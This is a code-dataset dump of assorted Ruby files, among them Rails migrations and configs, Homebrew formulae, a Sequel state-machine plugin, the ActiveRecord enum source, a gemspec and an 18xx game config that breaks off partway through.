hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
0316afc9bc2fab3aca3ccb67da8916578a12f03b | 326 | class CreateServices < ActiveRecord::Migration
def change
create_table :services do |t|
t.string :service_class
t.string :name
t.string :seo_index
t.text :summary
t.text :description
t.timestamps
end
add_index(:services, [:service_class, :seo_index], :unique=>true)
end
end
| 23.285714 | 69 | 0.662577 |
4a28d92c311c2b8f9451ebf3ef81e09c96b1a496 | 744 | cask 'extraterm' do
version '0.41.2'
sha256 'da247aaf8ed06fe22ba270a9a2c1eee34f7afde2e822b96c1b9deb10c047a9fd'
# github.com/sedwards2009/extraterm was verified as official when first introduced to the cask
url "https://github.com/sedwards2009/extraterm/releases/download/v#{version}/extraterm-#{version}-darwin-x64.zip"
appcast 'https://github.com/sedwards2009/extraterm/releases.atom'
name 'extraterm'
homepage 'http://extraterm.org/'
app "extraterm-#{version}-darwin-x64/extraterm.app"
zap trash: [
'~/Library/Application Support/extraterm',
'~/Library/Preferences/com.electron.extraterm.helper.plist',
'~/Library/Preferences/com.electron.extraterm.plist',
]
end
| 39.157895 | 115 | 0.716398 |
ac549a4a99ec9926f1b2acb35a33a6baed3a7713 | 244 | require 'mkmf'
CONFIG['warnflags'].gsub!(/-Wshorten-64-to-32/, '') if CONFIG['warnflags']
$CFLAGS << ' -O0 -Wall' if CONFIG['CC'] =~ /gcc|clang/
dir_config("gherkin_lexer_zh_cn")
have_library("c", "main")
create_makefile("gherkin_lexer_zh_cn")
| 34.857143 | 74 | 0.70082 |
627e4f1e8cebfd5f50eab8db11abec995698c095 | 10,892 | # frozen_string_literal: true
require "sequel"
require "sequel/model"
require "set"
require "state_machines/sequel"
module Sequel
module Plugins
module StateMachine
class InvalidConfiguration < RuntimeError; end
def self.apply(_model, _opts={})
nil
end
def self.configure(model, opts={})
(opts = {status_column: opts}) if opts.is_a?(Symbol)
model.instance_eval do
# See state_machine_status_column.
# We must defer defaulting the value in case the plugin
# comes ahead of the state machine (we can see a valid state machine,
# but the attribute/name will always be :state, due to some configuration
# order of operations).
@sequel_state_machine_status_column = opts[:status_column] if opts[:status_column]
@sequel_state_machine_audit_logs_association = opts[:audit_logs_association] || :audit_logs
end
end
module InstanceMethods
private def state_machine_status_column(machine=nil)
return machine if machine
col = self.class.instance_variable_get(:@sequel_state_machine_status_column)
return col unless col.nil?
if self.respond_to?(:_state_value_attr)
self.class.instance_variable_set(:@sequel_state_machine_status_column, self._state_value_attr)
return self._state_value_attr
end
if !self.class.respond_to?(:state_machines) || self.class.state_machines.empty?
msg = "Model must extend StateMachines::MacroMethods and have one state_machine."
raise InvalidConfiguration, msg
end
if self.class.state_machines.length > 1 && machine.nil?
msg = "You must provide the :machine keyword argument when working multiple state machines."
raise ArgumentError, msg
end
self.class.instance_variable_set(:@sequel_state_machine_status_column, self.class.state_machine.attribute)
end
def sequel_state_machine_status(machine=nil)
return self.send(self.state_machine_status_column(machine))
end
def new_audit_log
assoc_name = self.class.instance_variable_get(:@sequel_state_machine_audit_logs_association)
unless (audit_log_assoc = self.class.association_reflections[assoc_name])
msg = "Association for audit logs '#{assoc_name}' does not exist. " \
"Your model must have 'one_to_many :audit_logs' for its audit log lines, " \
"or pass the :audit_logs_association parameter to the plugin to define its association name."
raise InvalidConfiguration, msg
end
audit_log_cls = audit_log_assoc[:class] || Kernel.const_get(audit_log_assoc[:class_name])
return audit_log_cls.new
end
def current_audit_log(machine: nil)
@current_audit_logs ||= {}
alog = @current_audit_logs[machine]
if alog.nil?
StateMachines::Sequel.log(self, :debug, "preparing_audit_log", {})
alog = self.new_audit_log
if machine
machine_name_col = alog.class.state_machine_column_mappings[:machine_name]
unless alog.respond_to?(machine_name_col)
msg = "Audit logs must have a :machine_name field for multi-machine models or if specifying :machine."
raise InvalidConfiguration, msg
end
alog.sequel_state_machine_set(:machine_name, machine)
end
@current_audit_logs[machine] = alog
alog.sequel_state_machine_set(:reason, "")
end
return alog
end
def commit_audit_log(transition)
machine = self.class.state_machines.length > 1 ? transition.machine.name : nil
StateMachines::Sequel.log(
self, :debug, "committing_audit_log", {transition: transition, state_machine: machine},
)
current = self.current_audit_log(machine: machine)
last_saved = self.audit_logs.find do |a|
a.sequel_state_machine_get(:event) == transition.event.to_s &&
a.sequel_state_machine_get(:from_state) == transition.from &&
a.sequel_state_machine_get(:to_state) == transition.to
end
if last_saved
StateMachines::Sequel.log(self, :debug, "updating_audit_log", {audit_log_id: last_saved.id})
last_saved.update(**last_saved.sequel_state_machine_map_columns(
at: Time.now,
actor: StateMachines::Sequel.current_actor,
messages: current.messages,
reason: current.reason,
))
else
StateMachines::Sequel.log(self, :debug, "creating_audit_log", {})
current.set(**current.sequel_state_machine_map_columns(
at: Time.now,
actor: StateMachines::Sequel.current_actor,
event: transition.event.to_s,
from_state: transition.from,
to_state: transition.to,
))
self.add_audit_log(current)
end
@current_audit_logs[machine] = nil
end
def audit(message, reason: nil)
audlog = self.current_audit_log
if audlog.class.state_machine_messages_supports_array
audlog.messages ||= []
audlog.messages << message
else
audlog.messages ||= ""
audlog.messages += (audlog.messages.empty? ? message : (message + "\n"))
end
audlog.reason = reason if reason
return audlog
end
def audit_one_off(event, messages, reason: nil, machine: nil)
messages = [messages] unless messages.respond_to?(:to_ary)
audlog = self.new_audit_log
mapped_values = audlog.sequel_state_machine_map_columns(
at: Time.now,
event: event,
from_state: self.sequel_state_machine_status(machine),
to_state: self.sequel_state_machine_status(machine),
messages: audlog.class.state_machine_messages_supports_array ? messages : messages.join("\n"),
reason: reason || "",
actor: StateMachines::Sequel.current_actor,
machine_name: machine,
)
audlog.set(mapped_values)
return self.add_audit_log(audlog)
end
# Return audit logs for the given state machine name.
# Only useful for multi-state-machine models.
def audit_logs_for(machine)
lines = self.send(self.class.instance_variable_get(:@sequel_state_machine_audit_logs_association))
return lines.select { |ln| ln.sequel_state_machine_get(:machine_name) == machine.to_s }
end
# Send event with arguments inside of a transaction, save the changes to the receiver,
# and return the transition result.
# Used to ensure the event processing happens in a transaction and the receiver is saved.
def process(event, *args)
self.db.transaction do
self.lock!
result = self.send(event, *args)
self.save_changes
return result
end
end
# Same as process, but raises an error if the transition fails.
def must_process(event, *args)
success = self.process(event, *args)
raise StateMachines::Sequel::FailedTransition.new(self, event) unless success
return self
end
# Same as must_process, but takes a lock,
# and calls the given block, only doing actual processing if the block returns true.
# If the block returns false, it acts as a success.
# Used to avoid issues concurrently processing the same object through the same state.
def process_if(event, *args)
self.db.transaction do
self.lock!
return self unless yield(self)
return self.must_process(event, *args)
end
end
# Return true if the given event can be transitioned into by the current state.
def valid_state_path_through?(event, machine: nil)
current_state_str = self.sequel_state_machine_status(machine).to_s
current_state_sym = current_state_str.to_sym
sm = find_state_machine(machine)
event_obj = sm.events[event] or
raise ArgumentError, "Invalid event #{event} (available #{sm.name} events: #{sm.events.keys.join(', ')})"
event_obj.branches.each do |branch|
branch.state_requirements.each do |state_req|
next unless (from = state_req[:from])
return true if from.matches?(current_state_str) || from.matches?(current_state_sym)
end
end
return false
end
def validates_state_machine(machine: nil)
state_machine = find_state_machine(machine)
states = state_machine.states.map(&:value)
state = self.sequel_state_machine_status(state_machine.attribute)
return if states.include?(state)
self.errors.add(self.state_machine_status_column(machine),
"state '#{state}' must be one of (#{states.sort.join(', ')})",)
end
private def find_state_machine(machine)
machines = self.class.state_machines
raise InvalidConfiguration, "no state machines defined" if machines.empty?
if machine
m = machines[machine]
raise ArgumentError, "no state machine named #{machine}" if m.nil?
return m
end
return machines.first[1]
end
end
module ClassMethods
def timestamp_accessors(events_and_accessors)
events_and_accessors.each do |(ev, acc)|
self.timestamp_accessor(ev, acc)
end
end
# Register the timestamp access for an event.
# A timestamp accessor reads when a certain transition happened
# by looking at the timestamp of the successful transition into that state.
#
# The event can be just the event name, or a hash of {event: <event method symbol>, from: <state name>},
# used when a single event can cause multiple transitions.
def timestamp_accessor(event, accessor)
define_method(accessor) do
event = {event: event} if event.is_a?(String)
audit = self.audit_logs.select(&:succeeded?).find do |a|
ev_match = event[:event].nil? || event[:event] == a.event
from_match = event[:from].nil? || event[:from] == a.from_state
to_match = event[:to].nil? || event[:to] == a.to_state
ev_match && from_match && to_match
end
return audit&.at
end
end
end
end
end
end
| 42.88189 | 118 | 0.626882 |
f838536d38aac77889a849b676aec993a06a21ef | 951 | class Docui < Formula
desc "TUI Client for Docker"
homepage "https://github.com/skanehira/docui"
url "https://github.com/skanehira/docui/archive/2.0.4.tar.gz"
sha256 "9af1a720aa7c68bea4469f1d7eea81ccb68e15a47ccfc9c83011a06d696ad30d"
license "MIT"
head "https://github.com/skanehira/docui.git"
bottle do
cellar :any_skip_relocation
sha256 "17950b11df021726ebb04675ffc92c096e94ab213c32b803888ab3c16e360f60" => :big_sur
sha256 "85812a1ae880fa35f8f03fb7632d6e1cae1288c673c02d5ef41763a998e1ce42" => :catalina
sha256 "da3b5097f43474a93b7fd5d9cdd27c351b4c86214041369a7e3c41690574fe45" => :mojave
end
depends_on "go" => :build
def install
system "go", "build", *std_go_args, "-ldflags", "-s -w"
end
test do
system "#{bin}/docui", "-h"
assert_match "Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?",
shell_output("#{bin}/docui 2>&1", 1)
end
end
| 32.793103 | 117 | 0.740273 |
f77a31546da4f722e86bcc7612d72297bc6e0c9e | 3,169 | # encoding: utf-8
require 'test_helper'
require 'json'
require 'digest/md5'
class IntegrityTest < TestCase
test "images on disk correlate 1-1 with emojis" do
images_on_disk = Dir["#{Emoji.images_path}/**/*.png"].map {|f| f.sub(Emoji.images_path, '') }
expected_images = Emoji.all.map { |emoji| '/emoji/%s' % emoji.image_filename }
missing_images = expected_images - images_on_disk
assert_equal 0, missing_images.size, "these images are missing on disk:\n #{missing_images.join("\n ")}\n"
extra_images = images_on_disk - expected_images
assert_equal 0, extra_images.size, "these images don't match any emojis:\n #{extra_images.join("\n ")}\n"
end
test "images on disk have no duplicates" do
hashes = Hash.new { |h,k| h[k] = [] }
Emoji.all.each do |emoji|
checksum = Digest::MD5.file(File.join(Emoji.images_path, 'emoji', emoji.image_filename)).to_s
hashes[checksum] << emoji
end
hashes.each do |checksum, emojis|
# Apple uses the same image for "black_medium_square" and "black_large_square":
expected_length = ("black_medium_square" == emojis[0].name) ? 2 : 1
assert_equal expected_length, emojis.length,
"These images share the same checksum: " +
emojis.map(&:image_filename).join(', ')
end
end
test "images on disk are 64x64" do
mismatches = []
Dir["#{Emoji.images_path}/**/*.png"].each do |image_file|
width, height = png_dimensions(image_file)
unless width == 64 && height == 64
mismatches << "%s: %dx%d" % [
image_file.sub(Emoji.images_path, ''),
width,
height
]
end
end
assert_equal ["/emoji/shipit.png: 75x75"], mismatches
end
test "missing or incorrect unicodes" do
missing = source_unicode_emoji - Emoji.all.flat_map(&:unicode_aliases)
assert_equal 0, missing.size, missing_unicodes_message(missing)
end
private
def missing_unicodes_message(missing)
"Missing or incorrect unicodes:\n".tap do |message|
missing.each do |raw|
emoji = Emoji::Character.new(nil)
emoji.add_unicode_alias(raw)
message << "#{emoji.raw} (#{emoji.hex_inspect})"
codepoint = emoji.raw.codepoints[0]
if candidate = Emoji.all.detect { |e| !e.custom? && e.raw.codepoints[0] == codepoint }
message << " - might be #{candidate.raw} (#{candidate.hex_inspect}) named #{candidate.name}"
end
message << "\n"
end
end
end
def db
@db ||= JSON.parse(File.read(File.expand_path("../../db/Category-Emoji.json", __FILE__)))
end
def source_unicode_emoji
@source_unicode_emoji ||= begin
# Chars from OS X palette which must have VARIATION SELECTOR-16 to render:
specials = ["🈷", "🈂", "🅰", "🅱", "🅾", "©", "®", "™", "〰"]
db["EmojiDataArray"]
.flat_map { |data| data["CVCategoryData"]["Data"].split(",") }
.map { |raw| specials.include?(raw) ? "#{raw}\u{fe0f}" : raw }
end
end
def png_dimensions(file)
png = File.open(file, "rb") { |f| f.read(1024) }
png.unpack("x16N2")
end
end
| 35.606742 | 112 | 0.619123 |
4aa323fb006cd267a17f85e17e3b1e12ad36fc2c | 7,256 | module ActiveRecord
# Declare an enum attribute where the values map to integers in the database,
# but can be queried by name. Example:
#
# class Conversation < ActiveRecord::Base
# enum status: [ :active, :archived ]
# end
#
# # conversation.update! status: 0
# conversation.active!
# conversation.active? # => true
# conversation.status # => "active"
#
# # conversation.update! status: 1
# conversation.archived!
# conversation.archived? # => true
# conversation.status # => "archived"
#
# # conversation.update! status: 1
# conversation.status = "archived"
#
# # conversation.update! status: nil
# conversation.status = nil
# conversation.status.nil? # => true
# conversation.status # => nil
#
# Scopes based on the allowed values of the enum field will be provided
# as well. With the above example, it will create an +active+ and +archived+
# scope.
#
# You can set the default value from the database declaration, like:
#
# create_table :conversations do |t|
# t.column :status, :integer, default: 0
# end
#
# Good practice is to let the first declared status be the default.
#
# Finally, it's also possible to explicitly map the relation between attribute and
# database integer with a +Hash+:
#
# class Conversation < ActiveRecord::Base
# enum status: { active: 0, archived: 1 }
# end
#
# Note that when an +Array+ is used, the implicit mapping from the values to database
# integers is derived from the order the values appear in the array. In the example,
# <tt>:active</tt> is mapped to +0+ as it's the first element, and <tt>:archived</tt>
# is mapped to +1+. In general, the +i+-th element is mapped to <tt>i-1</tt> in the
# database.
#
# Therefore, once a value is added to the enum array, its position in the array must
# be maintained, and new values should only be added to the end of the array. To
# remove unused values, the explicit +Hash+ syntax should be used.
#
# In rare circumstances you might need to access the mapping directly.
# The mappings are exposed through a class method with the pluralized attribute
# name:
#
# Conversation.statuses # => { "active" => 0, "archived" => 1 }
#
# Use that class method when you need to know the ordinal value of an enum:
#
# Conversation.where("status <> ?", Conversation.statuses[:archived])
#
# Where conditions on an enum attribute must use the ordinal value of an enum.
module Enum
DEFINED_ENUMS = {} # :nodoc:
def enum_mapping_for(attr_name) # :nodoc:
DEFINED_ENUMS[attr_name.to_s]
end
def enum(definitions)
klass = self
definitions.each do |name, values|
# statuses = { }
enum_values = ActiveSupport::HashWithIndifferentAccess.new
name = name.to_sym
# def self.statuses statuses end
detect_enum_conflict!(name, name.to_s.pluralize, true)
klass.singleton_class.send(:define_method, name.to_s.pluralize) { enum_values }
_enum_methods_module.module_eval do
# def status=(value) self[:status] = statuses[value] end
klass.send(:detect_enum_conflict!, name, "#{name}=")
define_method("#{name}=") { |value|
if enum_values.has_key?(value) || value.blank?
self[name] = enum_values[value]
elsif enum_values.has_value?(value)
# Assigning a value directly is not a end-user feature, hence it's not documented.
# This is used internally to make building objects from the generated scopes work
# as expected, i.e. +Conversation.archived.build.archived?+ should be true.
self[name] = value
else
raise ArgumentError, "'#{value}' is not a valid #{name}"
end
}
# def status() statuses.key self[:status] end
klass.send(:detect_enum_conflict!, name, name)
define_method(name) { enum_values.key self[name] }
# def status_before_type_cast() statuses.key self[:status] end
klass.send(:detect_enum_conflict!, name, "#{name}_before_type_cast")
define_method("#{name}_before_type_cast") { enum_values.key self[name] }
pairs = values.respond_to?(:each_pair) ? values.each_pair : values.each_with_index
pairs.each do |value, i|
enum_values[value] = i
# def active?() status == 0 end
klass.send(:detect_enum_conflict!, name, "#{value}?")
define_method("#{value}?") { self[name] == i }
# def active!() update! status: :active end
klass.send(:detect_enum_conflict!, name, "#{value}!")
define_method("#{value}!") { update! name => value }
# scope :active, -> { where status: 0 }
klass.send(:detect_enum_conflict!, name, value, true)
klass.scope value, -> { klass.where name => i }
end
DEFINED_ENUMS[name.to_s] = enum_values
end
end
end
private
def _enum_methods_module
@_enum_methods_module ||= begin
mod = Module.new do
private
def save_changed_attribute(attr_name, value)
if (mapping = self.class.enum_mapping_for(attr_name))
if attribute_changed?(attr_name)
old = changed_attributes[attr_name]
if mapping[old] == value
changed_attributes.delete(attr_name)
end
else
old = clone_attribute_value(:read_attribute, attr_name)
if old != value
changed_attributes[attr_name] = mapping.key old
end
end
else
super
end
end
end
include mod
mod
end
end
ENUM_CONFLICT_MESSAGE = \
"You tried to define an enum named \"%{enum}\" on the model \"%{klass}\", but " \
"this will generate a %{type} method \"%{method}\", which is already defined " \
"by %{source}."
def detect_enum_conflict!(enum_name, method_name, klass_method = false)
if klass_method && dangerous_class_method?(method_name)
raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
enum: enum_name,
klass: self.name,
type: 'class',
method: method_name,
source: 'Active Record'
}
elsif !klass_method && dangerous_attribute_method?(method_name)
raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
enum: enum_name,
klass: self.name,
type: 'instance',
method: method_name,
source: 'Active Record'
}
elsif !klass_method && method_defined_within?(method_name, _enum_methods_module, Module)
raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
enum: enum_name,
klass: self.name,
type: 'instance',
method: method_name,
source: 'another enum'
}
end
end
end
end
| 37.210256 | 96 | 0.597299 |
62201c22f48f19dbfc3ae25ccecf84416bf50832 | 1,787 | require Rails.root.join("config/smtp")
Rails.application.configure do
# Verifies that versions and hashed value of the package contents in the project's package.json
config.webpacker.check_yarn_integrity = false
config.cache_classes = true
config.eager_load = true
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
config.assets.js_compressor = :uglifier
config.assets.compile = false
config.action_controller.asset_host = ENV.fetch("ASSET_HOST", ENV.fetch("APPLICATION_HOST"))
config.active_storage.service = :local
config.log_level = :debug
config.log_tags = [ :request_id ]
config.action_mailer.perform_caching = false
config.i18n.fallbacks = true
config.active_support.deprecation = :notify
config.log_formatter = ::Logger::Formatter.new
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
config.active_record.dump_schema_after_migration = false
if ENV.fetch("HEROKU_APP_NAME", "").include?("staging-pr-")
ENV["APPLICATION_HOST"] = ENV["HEROKU_APP_NAME"] + ".herokuapp.com"
end
config.middleware.use Rack::CanonicalHost, ENV.fetch("APPLICATION_HOST")
config.middleware.use Rack::Deflater
config.public_file_server.headers = {
"Cache-Control" => "public, max-age=31557600",
}
config.action_mailer.default_url_options = { host: ENV.fetch("APPLICATION_HOST") }
config.action_mailer.asset_host = ENV.fetch("ASSET_HOST", ENV.fetch("APPLICATION_HOST"))
config.force_ssl = true
end
Rack::Timeout.timeout = ENV.fetch("RACK_TIMEOUT", 10).to_i | 45.820513 | 97 | 0.759373 |
ac8b679b7b5dbac30fb526f529651b057d1a17b8 | 3,552 | #!/usr/bin/ruby -w
# PART 10
# The select! method also modifies the original array
# without modifying the object_id:
fruits = ['Green Apple', 'Strawberry', 'Banana', 'Blueberry', 'Raspberry', 'Cranberry', 'Pineapple', 'Blackberry'] # => ["Green Apple", "Strawberry", "Banana", "Blueberry", "Raspberry", "Cranberry", "Pineapple", "Blackberry"]
# Select doesn't modify the array. What if we need to work only with berries?
fruits.select { |x| x.end_with?('berry') } # => ["Strawberry", "Blueberry", "Raspberry", "Cranberry", "Blackberry"]
p fruits # => ["Green Apple", "Strawberry", "Banana", "Blueberry", "Raspberry", "Cranberry", "Pineapple", "Blackberry"]
fruits.select! { |x| x.end_with?('berry') } # => ["Strawberry", "Blueberry", "Raspberry", "Cranberry", "Blackberry"]
p fruits # => ["Strawberry", "Blueberry", "Raspberry", "Cranberry", "Blackberry"]
# The reject method will reject items:
fruits = ['Green Apple', 'Strawberry', 'Banana', 'Blueberry', 'Raspberry', 'Cranberry', 'Pineapple', 'Blackberry'] # => ["Green Apple", "Strawberry", "Banana", "Blueberry", "Raspberry", "Cranberry", "Pineapple", "Blackberry"]
p fruits.reject { |x| x.end_with?('berry') } # => ["Green Apple", "Banana", "Pineapple"]
# Like the select! method, the reject! method also modifies the original array
# without modifying the object_id
fruits.reject! { |x| x.end_with?('berry') } # => ["Green Apple", "Banana", "Pineapple"]
p fruits # => ["Green Apple", "Banana", "Pineapple"]
# The drop method deletes n items from the beginning and return self:
fruits.concat(%w(guava watermelon lime cherry peach).map(&:capitalize)) # => ["Green Apple", "Banana", "Pineapple", "Guava", "Watermelon", "Lime", "Cherry", "Peach"]
p fruits.drop(2) # two items have been shifted # => ["Pineapple", "Guava", "Watermelon", "Lime", "Cherry", "Peach"]
p fruits # => ["Green Apple", "Banana", "Pineapple", "Guava", "Watermelon", "Lime", "Cherry", "Peach"]
# The difference with shift is that drop doesn't modify the original array
# and drop returns the array itself while shift returns the items that have been dropped
p fruits.shift(2) # => ["Green Apple", "Banana"]
# drop_while method drops the item when the condition in block evaluates to true:
p fruits # => ["Pineapple", "Guava", "Watermelon", "Lime", "Cherry", "Peach"]
p fruits.drop_while { |x| puts x } # => ["Pineapple", "Guava", "Watermelon", "Lime", "Cherry", "Peach"]
| 98.666667 | 228 | 0.456644 |
628c2f01613c2be9133b5f119d6247cba8524e56 | 1,202 | # frozen_string_literal: true
module Script
module Layers
module Domain
class ScriptProject
include SmartProperties
UUID_ENV_KEY = "UUID"
property! :id, accepts: String
property :env, accepts: ShopifyCLI::Resources::EnvFile
property! :extension_point_type, accepts: String
property! :script_name, accepts: String
property! :language, accepts: String
property :script_json, accepts: ScriptJson
def initialize(*)
super
ShopifyCLI::Core::Monorail.metadata = {
"script_name" => script_name,
"extension_point_type" => extension_point_type,
"language" => language,
}
end
def api_key
env&.api_key
end
def api_secret
env&.secret
end
def uuid
uuid_defined? && !raw_uuid.empty? ? raw_uuid : nil
end
def uuid_defined?
!raw_uuid.nil?
end
def env_valid?
api_key && api_secret && uuid_defined?
end
private
def raw_uuid
env&.extra&.[](UUID_ENV_KEY)
end
end
end
end
end
| 20.372881 | 62 | 0.558236 |
bb64c9997643f34be6cc0be37090f98d800b0da2 | 5,105 | require "active_support/core_ext/integer/time"
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
# Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
# or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Mount Action Cable outside main process or domain.
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Include generic and useful information about system operation, but avoid logging too much
# information to avoid inadvertent exposure of personally identifiable information (PII).
config.log_level = :info
# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment).
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "race_it_backend_production"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Log disallowed deprecations.
config.active_support.disallowed_deprecation = :log
# Tell Active Support which deprecation messages to disallow.
config.active_support.disallowed_deprecation_warnings = []
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require "syslog/logger"
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
# Inserts middleware to perform automatic connection switching.
# The `database_selector` hash is used to pass options to the DatabaseSelector
# middleware. The `delay` is used to determine how long to wait after a write
# to send a subsequent read to the primary.
#
# The `database_resolver` class is used by the middleware to determine which
# database is appropriate to use based on the time delay.
#
# The `database_resolver_context` class is used by the middleware to set
# timestamps for the last write to the primary. The resolver uses the context
# class timestamps to determine how long to wait before reading from the
# replica.
#
# By default Rails will store a last write timestamp in the session. The
# DatabaseSelector middleware is designed as such you can define your own
# strategy for connection switching and pass that into the middleware through
# these configuration options.
# config.active_record.database_selector = { delay: 2.seconds }
# config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
# config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
end
| 44.780702 | 114 | 0.76572 |
e8caf1eb5954d0b1f6dbfa268d7988521ea0b993 | 962 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'rfunc/version'
Gem::Specification.new do |spec|
spec.name = "rfunc"
spec.version = RFunc::VERSION
spec.authors = ["Paul De Goes"]
spec.email = ["[email protected]"]
spec.summary = %q{This gem provides a more functional collection library to Ruby}
spec.description = %q{nada}
spec.homepage = ""
spec.license = "MIT"
spec.files = `git ls-files`.split($/)
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.5"
spec.add_development_dependency "rake"
spec.add_development_dependency "rspec"
spec.add_development_dependency "guard-rspec"
spec.add_development_dependency "yard"
end
| 35.62963 | 89 | 0.668399 |
79163554cae3d23abe4570b19860eb494f46c021 | 16,742 | # frozen_string_literal: true
# File original exported from 18xx-maker/export-rb
# https://github.com/18xx-maker/export-rb
# rubocop:disable Lint/RedundantCopDisableDirective, Layout/LineLength, Layout/HeredocIndentation
module Engine
module Config
module Game
module G1830
JSON = <<-DATA
{
"filename": "1830",
"modulename": "1830",
"currencyFormatStr": "$%d",
"bankCash": 12000,
"certLimit": {
"3": 20,
"4": 16,
"5": 13,
"6": 11
},
"startingCash": {
"3": 800,
"4": 600,
"5": 480,
"6": 400
},
"layout": "pointy",
"locationNames": {
"D2": "Lansing",
"F2": "Chicago",
"J2": "Gulf",
"F4": "Toledo",
"J14": "Washington",
"F22": "Providence",
"E5": "Detroit & Windsor",
"D10": "Hamilton & Toronto",
"F6": "Cleveland",
"E7": "London",
"A11": "Canadian West",
"K13": "Deep South",
"E11": "Dunkirk & Buffalo",
"H12": "Altoona",
"D14": "Rochester",
"C15": "Kingston",
"I15": "Baltimore",
"K15": "Richmond",
"B16": "Ottawa",
"F16": "Scranton",
"H18": "Philadelphia & Trenton",
"A19": "Montreal",
"E19": "Albany",
"G19": "New York & Newark",
"I19": "Atlantic City",
"F24": "Mansfield",
"B20": "Burlington",
"E23": "Boston",
"B24": "Maritime Provinces",
"D4": "Flint",
"F10": "Erie",
"G7": "Akron & Canton",
"G17": "Reading & Allentown",
"F20": "New Haven & Hartford",
"H4": "Columbus",
"B10": "Barrie",
"H10": "Pittsburgh",
"H16": "Lancaster"
},
"tiles": {
"1": 1,
"2": 1,
"3": 2,
"4": 2,
"7": 4,
"8": 8,
"9": 7,
"14": 3,
"15": 2,
"16": 1,
"18": 1,
"19": 1,
"20": 1,
"23": 3,
"24": 3,
"25": 1,
"26": 1,
"27": 1,
"28": 1,
"29": 1,
"39": 1,
"40": 1,
"41": 2,
"42": 2,
"43": 2,
"44": 1,
"45": 2,
"46": 2,
"47": 1,
"53": 2,
"54": 1,
"55": 1,
"56": 1,
"57": 4,
"58": 2,
"59": 2,
"61": 2,
"62": 1,
"63": 3,
"64": 1,
"65": 1,
"66": 1,
"67": 1,
"68": 1,
"69": 1,
"70": 1
},
"market": [
[
"60y",
"67",
"71",
"76",
"82",
"90",
"100p",
"112",
"126",
"142",
"160",
"180",
"200",
"225",
"250",
"275",
"300",
"325",
"350"
],
[
"53y",
"60y",
"66",
"70",
"76",
"82",
"90p",
"100",
"112",
"126",
"142",
"160",
"180",
"200",
"220",
"240",
"260",
"280",
"300"
],
[
"46y",
"55y",
"60y",
"65",
"70",
"76",
"82p",
"90",
"100",
"111",
"125",
"140",
"155",
"170",
"185",
"200"
],
[
"39o",
"48y",
"54y",
"60y",
"66",
"71",
"76p",
"82",
"90",
"100",
"110",
"120",
"130"
],
[
"32o",
"41o",
"48y",
"55y",
"62",
"67",
"71p",
"76",
"82",
"90",
"100"
],
[
"25b",
"34o",
"42o",
"50y",
"58y",
"65",
"67p",
"71",
"75",
"80"
],
[
"18b",
"27b",
"36o",
"45o",
"54y",
"63",
"67",
"69",
"70"
],
[
"10b",
"12b",
"30b",
"40o",
"50y",
"60y",
"67",
"68"
],
[
"",
"10b",
"20b",
"30b",
"40o",
"50y",
"60y"
],
[
"",
"",
"10b",
"20b",
"30b",
"40o",
"50y"
],
[
"",
"",
"",
"10b",
"20b",
"30b",
"40o"
]
],
"companies": [
{
"name": "Schuylkill Valley",
"sym": "SV",
"value": 20,
"revenue": 5,
"desc": "No special abilities. Blocks G15 while owned by a player.",
"abilities": [
{
